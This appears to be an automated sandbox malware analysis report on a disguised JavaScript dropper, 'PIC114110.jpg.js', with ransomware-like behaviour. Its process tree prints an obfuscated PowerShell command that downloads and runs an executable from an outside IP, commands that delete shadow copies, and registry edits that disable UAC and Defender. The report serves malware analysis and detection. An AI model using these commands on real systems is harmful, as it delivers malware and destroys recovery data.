Analysis
-
max time kernel
140s -
max time network
150s -
platform
windows7_x64 -
resource
win7 -
submitted
08-07-2020 01:06
Static task
static1
Behavioral task
behavioral1
Sample
PIC114110.jpg.js
Resource
win7
Behavioral task
behavioral2
Sample
PIC114110.jpg.js
Resource
win10v200430
General
-
Target
PIC114110.jpg.js
-
Size
83KB
-
MD5
821a6c3122354612133a542992bab324
-
SHA1
efdbbf3dbeed7f53ccf2b73d7afcc6d16c8ca320
-
SHA256
370dbeca970b02f6c1a07803c736de0fa30a40851f7a21178eb0bdaa16af61ab
-
SHA512
6474f350bf4790a681677400019d2540d75468d307535a73f296acb3792fb8b19e14140c6b0ad712cd91d493fdeea59048117d07853f2d6c6f189a906a17dc46
Malware Config
Extracted
http://217.8.117.63/tstjs.exe
Signatures
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 1156420072.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AutoUpdateDisableNotify = "1" taskhostw.exe -
Enumerates connected drives 3 TTPs
-
Suspicious behavior: EnumeratesProcesses 737 IoCs
pid Process 1896 powershell.exe 1896 powershell.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe 796 1156420072.exe -
Loads dropped DLL 3 IoCs
pid Process 1948 TempLrD47.exe 1140 taskhostw.exe 1140 taskhostw.exe -
Adds Run entry to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Host Process for Windows Tasks = "C:\\Windows\\88341028628924\\taskhostw.exe" TempLrD47.exe Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\Host Process for Windows Tasks = "C:\\Windows\\88341028628924\\taskhostw.exe" TempLrD47.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification \??\Z:\$RECYCLE.BIN\S-1-5-21-1131729243-447456001-3632642222-1000\desktop.ini 1156420072.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1948 TempLrD47.exe -
Interacts with shadow copies 2 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1896 vssadmin.exe 620 vssadmin.exe 1752 vssadmin.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 10 api.myip.com 12 api.myip.com -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 1156420072.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" 1156420072.exe -
Modifies service 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe -
Blacklisted process makes network request 1 IoCs
flow pid Process 4 1896 powershell.exe -
Executes dropped EXE 4 IoCs
pid Process 1948 TempLrD47.exe 1140 taskhostw.exe 796 1156420072.exe 1868 1156420072.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection taskhostw.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" taskhostw.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" taskhostw.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" taskhostw.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1" taskhostw.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1" taskhostw.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1" taskhostw.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1" taskhostw.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1" taskhostw.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1" taskhostw.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Suspicious use of WriteProcessMemory 46 IoCs
description pid Process procid_target PID 1752 wrote to memory of 1872 1752 wscript.exe 24 PID 1752 wrote to memory of 1872 1752 wscript.exe 24 PID 1752 wrote to memory of 1872 1752 wscript.exe 24 PID 1872 wrote to memory of 1896 1872 cmd.exe 26 PID 1872 wrote to memory of 1896 1872 cmd.exe 26 PID 1872 wrote to memory of 1896 1872 cmd.exe 26 PID 1872 wrote to memory of 1948 1872 cmd.exe 27 PID 1872 wrote to memory of 1948 1872 cmd.exe 27 PID 1872 wrote to memory of 1948 1872 cmd.exe 27 PID 1872 wrote to memory of 1948 1872 cmd.exe 27 PID 1948 wrote to memory of 1140 1948 TempLrD47.exe 28 PID 1948 wrote to memory of 1140 1948 TempLrD47.exe 28 PID 1948 wrote to memory of 1140 1948 TempLrD47.exe 28 PID 1948 wrote to memory of 1140 1948 TempLrD47.exe 28 PID 1140 wrote to memory of 796 1140 taskhostw.exe 33 PID 1140 wrote to memory of 796 1140 taskhostw.exe 33 PID 1140 wrote to memory of 796 1140 taskhostw.exe 33 PID 1140 wrote to memory of 796 1140 taskhostw.exe 33 PID 796 wrote to memory of 1840 796 1156420072.exe 34 PID 796 wrote to memory of 1840 796 1156420072.exe 34 PID 796 wrote to memory of 1840 796 1156420072.exe 34 PID 796 wrote to memory of 1840 796 1156420072.exe 34 PID 796 wrote to memory of 1752 796 1156420072.exe 36 PID 796 wrote to memory of 1752 796 1156420072.exe 36 PID 796 wrote to memory of 1752 796 1156420072.exe 36 PID 796 wrote to memory of 1752 796 1156420072.exe 36 PID 796 wrote to memory of 304 796 1156420072.exe 39 PID 796 wrote to memory of 304 796 1156420072.exe 39 PID 796 wrote to memory of 304 796 1156420072.exe 39 PID 796 wrote to memory of 304 796 1156420072.exe 39 PID 796 wrote to memory of 1896 796 1156420072.exe 41 PID 796 wrote to memory of 1896 796 1156420072.exe 41 PID 796 wrote to memory of 1896 796 1156420072.exe 41 PID 796 wrote to memory of 1896 796 1156420072.exe 41 PID 796 wrote to memory of 1860 796 1156420072.exe 43 PID 796 wrote to memory of 1860 796 1156420072.exe 43 PID 796 wrote to memory of 1860 796 1156420072.exe 43 PID 796 wrote to memory of 1860 796 1156420072.exe 43 PID 796 wrote to memory of 620 796 1156420072.exe 45 PID 796 wrote to memory of 620 796 1156420072.exe 45 PID 796 wrote to memory of 620 796 1156420072.exe 45 PID 796 wrote to memory of 620 796 1156420072.exe 45 PID 1052 wrote to memory of 1868 1052 taskeng.exe 50 PID 1052 wrote to memory of 1868 1052 taskeng.exe 50 PID 1052 wrote to memory of 1868 1052 taskeng.exe 50 PID 1052 wrote to memory of 1868 1052 taskeng.exe 50 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1896 powershell.exe Token: SeIncreaseQuotaPrivilege 1840 wmic.exe Token: SeSecurityPrivilege 1840 wmic.exe Token: SeTakeOwnershipPrivilege 1840 wmic.exe Token: SeLoadDriverPrivilege 1840 wmic.exe Token: SeSystemProfilePrivilege 1840 wmic.exe Token: SeSystemtimePrivilege 1840 wmic.exe Token: SeProfSingleProcessPrivilege 1840 wmic.exe Token: SeIncBasePriorityPrivilege 1840 wmic.exe Token: SeCreatePagefilePrivilege 1840 wmic.exe Token: SeBackupPrivilege 1840 wmic.exe Token: SeRestorePrivilege 1840 wmic.exe Token: SeShutdownPrivilege 1840 wmic.exe Token: SeDebugPrivilege 1840 wmic.exe Token: SeSystemEnvironmentPrivilege 1840 wmic.exe Token: SeRemoteShutdownPrivilege 1840 wmic.exe Token: SeUndockPrivilege 1840 wmic.exe Token: SeManageVolumePrivilege 1840 wmic.exe Token: 33 1840 wmic.exe Token: 34 1840 wmic.exe Token: 35 1840 wmic.exe Token: SeBackupPrivilege 924 vssvc.exe Token: SeRestorePrivilege 924 vssvc.exe Token: SeAuditPrivilege 924 vssvc.exe Token: SeIncreaseQuotaPrivilege 304 wmic.exe Token: SeSecurityPrivilege 304 wmic.exe Token: SeTakeOwnershipPrivilege 304 wmic.exe Token: SeLoadDriverPrivilege 304 wmic.exe Token: SeSystemProfilePrivilege 304 wmic.exe Token: SeSystemtimePrivilege 304 wmic.exe Token: SeProfSingleProcessPrivilege 304 wmic.exe Token: SeIncBasePriorityPrivilege 304 wmic.exe Token: SeCreatePagefilePrivilege 304 wmic.exe Token: SeBackupPrivilege 304 wmic.exe Token: SeRestorePrivilege 304 wmic.exe Token: SeShutdownPrivilege 304 wmic.exe Token: SeDebugPrivilege 304 wmic.exe Token: SeSystemEnvironmentPrivilege 304 wmic.exe Token: SeRemoteShutdownPrivilege 304 wmic.exe Token: SeUndockPrivilege 304 wmic.exe Token: SeManageVolumePrivilege 304 wmic.exe Token: 33 304 wmic.exe Token: 34 304 wmic.exe Token: 35 304 wmic.exe Token: SeIncreaseQuotaPrivilege 1860 wmic.exe Token: SeSecurityPrivilege 1860 wmic.exe Token: SeTakeOwnershipPrivilege 1860 wmic.exe Token: SeLoadDriverPrivilege 1860 wmic.exe Token: SeSystemProfilePrivilege 1860 wmic.exe Token: SeSystemtimePrivilege 1860 wmic.exe Token: SeProfSingleProcessPrivilege 1860 wmic.exe Token: SeIncBasePriorityPrivilege 1860 wmic.exe Token: SeCreatePagefilePrivilege 1860 wmic.exe Token: SeBackupPrivilege 1860 wmic.exe Token: SeRestorePrivilege 1860 wmic.exe Token: SeShutdownPrivilege 1860 wmic.exe Token: SeDebugPrivilege 1860 wmic.exe Token: SeSystemEnvironmentPrivilege 1860 wmic.exe Token: SeRemoteShutdownPrivilege 1860 wmic.exe Token: SeUndockPrivilege 1860 wmic.exe Token: SeManageVolumePrivilege 1860 wmic.exe Token: 33 1860 wmic.exe Token: 34 1860 wmic.exe Token: 35 1860 wmic.exe -
Drops file in Windows directory 3 IoCs
description ioc Process File created C:\Windows\88341028628924\taskhostw.exe TempLrD47.exe File opened for modification C:\Windows\88341028628924\taskhostw.exe TempLrD47.exe File opened for modification C:\Windows\88341028628924 TempLrD47.exe -
System policy modification 1 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 1156420072.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\PIC114110.jpg.js1⤵
- Suspicious use of WriteProcessMemory
PID:1752 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SGIuanAqBiKFHsR & Po^wEr^sh^elL.e^Xe -executionpolicy bypass -noprofile -w hidden $v1='Net.W'; $v2='ebClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://217.8.117.63/tstjs.exe','%temp%LrD47.exe'); & %temp%LrD47.exe & IzCrmFNBwYXdgpf2⤵
- Suspicious use of WriteProcessMemory
PID:1872 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowErshelL.eXe -executionpolicy bypass -noprofile -w hidden $v1='Net.W'; $v2='ebClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://217.8.117.63/tstjs.exe','C:\Users\Admin\AppData\Local\TempLrD47.exe');3⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:1896
-
-
C:\Users\Admin\AppData\Local\TempLrD47.exeC:\Users\Admin\AppData\Local\TempLrD47.exe3⤵
- Loads dropped DLL
- Adds Run entry to start application
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in Windows directory
PID:1948 -
C:\Windows\88341028628924\taskhostw.exeC:\Windows\88341028628924\taskhostw.exe4⤵
- Windows security modification
- Loads dropped DLL
- Executes dropped EXE
- Modifies Windows Defender Real-time Protection settings
- Windows security bypass
- Suspicious use of WriteProcessMemory
PID:1140 -
C:\Users\Admin\AppData\Local\Temp\1156420072.exeC:\Users\Admin\AppData\Local\Temp\1156420072.exe5⤵
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Drops desktop.ini file(s)
- UAC bypass
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- System policy modification
PID:796 -
C:\Windows\SysWOW64\Wbem\wmic.exewmic.exe SHADOWCOPY /nointeractive6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1840
-
-
C:\Windows\SysWOW64\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet6⤵
- Interacts with shadow copies
PID:1752
-
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic.exe SHADOWCOPY /nointeractive6⤵
- Suspicious use of AdjustPrivilegeToken
PID:304
-
-
C:\Windows\SysWOW64\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet6⤵
- Interacts with shadow copies
PID:1896
-
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic.exe SHADOWCOPY /nointeractive6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1860
-
-
C:\Windows\SysWOW64\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet6⤵
- Interacts with shadow copies
PID:620
-
-
-
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:924
-
C:\Windows\system32\taskeng.exetaskeng.exe {2608D367-C53B-47A6-A21C-6DBED1D27B66} S-1-5-21-1131729243-447456001-3632642222-1000:AVGLFESB\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
PID:1052 -
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\1156420072.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\1156420072.exe2⤵
- Executes dropped EXE
PID:1868
-